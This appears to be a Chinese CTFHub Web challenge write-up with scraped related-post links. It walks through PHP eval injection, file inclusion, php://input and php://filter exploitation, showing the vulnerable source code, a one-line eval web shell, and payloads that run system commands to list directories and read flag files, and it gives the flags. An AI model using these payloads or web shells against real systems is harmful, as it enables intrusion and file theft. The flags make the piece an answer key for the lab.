CTFHub - Web(五)
eval执行:
1.进入网页,显示源码,
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
2.输入命令,发现该文件并不是想要的,
cmd=system("ls");

3.继续查看目录命令,
cmd=system("ls /");

4.查看,得到flag,
cmd=system("cat /flag_8822");
flag:
ctfhub{d593f41b1b07b3eba2ff5d5419272766ef47c8c6}
文件包含:
1.进入题目,源码如下,
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
2.点击查看shell,
<?php eval($_REQUEST['ctfhub']);?>
3.构造payload,
file=shell.txt
POST:ctfhub=system("ls ");

4.发现没有需要的文件,查看根目录,
file=shell.txt
POST:ctfhub=system("ls /");

5.查看flag,得到flag,
file=shell.txt
POST:ctfhub=system("cat /flag");

flag:
ctfhub{134dc84eb445a2d35c7c7f2d005a93149bcd3aae}
补充:
strpos()函数:
查找字符串在另一字符串中第一次出现的位置(区分大小写)
strpos("You love php, I love php too!","php");
php://input:
1.进入页面,源码如下,
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
2.使用php://input来构造发送的指令,

3.构造,
?file=php://input
POST:<?php system("ls /");?>

4.查看flag目录,得到flag,
?file=php://input
POST:<?php system("cat /flag_27046");?>

flag:
ctfhub{3d3a294472cbaaf5f60d3639da8a1c75e0144bbb}
读取源代码:
1.进入题目,分析源码,
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
2.题目告诉了flag所在位置,考虑使用php伪协议中的filter协议直接提取出flag的内容,得到base64编码后的flag,解码即可得到flag,(或者直接)
?file=php://filter/read=convert.base64-encode/resource=/flag
或
?file=php://filter/resource=/flag

flag:
ctfhub{1036f894cefc1ca00066d256b6c32f0537890711}
远程包含:
1.进入页面,查看源码,
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
2.从phpinfo()可以看到根目录,

3.利用POST查看目录,

4.查看/flag得到flag,

flag:
ctfhub{adb12467085aa372958627a7a841bf39687022b5}
CTFHub - Web(五)的更多相关文章
- CTFHub Web题学习笔记(Web前置技能+信息泄露题解writeup)
今天CTFHub正式上线了,https://www.ctfhub.com/#/index,之前有看到这个平台,不过没在上面做题,技能树还是很新颖的,不足的是有的方向的题目还没有题目,CTF比赛时间显示 ...
- Java Web(五) JSP详解(四大作用域九大内置对象等)
前面讲解了Servlet,了解了Servlet的继承结构,生命周期等,并且在其中的ServletConfig和ServletContext对象有了一些比较详细的了解,但是我们会发现在Servlet中编 ...
- CTFHub Web题学习笔记(SQL注入题解writeup)
Web题下的SQL注入 1,整数型注入 使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入 常规做法,查看字段数,回显位置 ?id=1%20orde ...
- django搭建web (五) views.py
http请求: HttpRequest http响应: HttpResponse 所在位置:django.http isinstance(request,HttpResponse) True-> ...
- java web(五):java web三大组件之另外两个和八大监听器
java的三大组件指Servlet.Filter.Listener.八大监听器指八个接口.前面介绍了Servlet,现在介绍一下Filter拦截器以及拦截地址的设置, Listener监听那些事件. ...
- Java Web(五) 监听器Listener
监听器概述 在上一篇里介绍了过滤器Filter,而Listener是Servlet的另一个高级特性.Listener用于监听Java Web程序中的事件,例如创建,修改,删除Session,reque ...
- CTFHub web技能树之RCE初步 命令注入+过滤cat
在一个大佬的突然丢了个题过来,于是去玩了玩rce的两道题 大佬的博客跳转链接在此->>>大佬召唤机 叫 命令注入 一上来就是源码出现,上面有个ping的地方 <?php $re ...
- CTFHub - Web(六)
命令注入: 1.进入页面,测试127.0.0.1, 关键代码: <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip'] ...
- CTFHub - Web(四)
最近又是每天忙到裂开,,,淦 xss: 反射型: 1.第一个输入框与下面Hello后的内容相同,猜测可以通过该输入,改变页面内容. 测试语句: <script>alert(1)</s ...
随机推荐
- Maven笔记之核心概念及常用命令
Maven的核心概念 Maven是一款服务于java平台的自动化构建工具. 自动化构建工具还有:make->ant->maven->gradle 1.约定的目录 2.P ...
- 微服务开发的最大痛点-分布式事务SEATA入门简介
前言 在微服务开发中,存在诸多的开发痛点,例如分布式事务.全链路跟踪.限流降级和服务平滑上下线等.而在这其中,分布式事务是最让开发者头痛的.那分布式事务是什么呢? 分布式事务就是指事务的参与者.支持事 ...
- 近期一些使用MATLAB常用的代码
背景 最近处理行为学数据和fMRI数据,主要使用MATLAB.有一些常用的代码被自己重复使用,所以在此记录,以便于随时调取使用. 1.PVT原生mat文件→txt文件 遇到在处理一些被试的PVT数据时 ...
- Flink相对于Spark的优点
Flink相对于Spark的优点 容错 Flink 基于两阶段提交实现了精确的一次处理语义. Spark Streaming 只能做到不丢数据,但是有重复. 反压 Flink 在数据传输过程中使用了分 ...
- Python爬取房天下二手房信息
一.相关知识 BeautifulSoup4使用 python将信息写入csv import csv with open("11.csv","w") as csv ...
- C# Wpf 文件保存对话框
C# Wpf库中无文件保存对话框,需引用winform,引用winform后多处提示引用不明确,将winform引用改别名. // 引用winform,改别名 using Forms = System ...
- python初学者-商品折扣问题
x = int(input("x=")) if x < 1600 : #如果x小于1600,y等于0 y = 0 #没有折扣 print("应付款:",x ...
- %@ taglib uri="http://java.sun.com/jsp/jstl/core"prefix="c"%报错
用eclipse写jsp代码时发现下面两行代码报错:<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix=&qu ...
- java中将文件夹里面的文件复制到指定的文件夹(java IO)
//现在制定路径下创建名称为左侧的文件夹 public class Copy { public static void main(String[] args) { //原始文件地址 File srcF ...
- Python 字符串操作分类
应用举例: str="abc defghi jklm nopqrstuvwxyz" print(str.isspace()) 运行结果: False 1) 判断类型 方法 | 说明 ...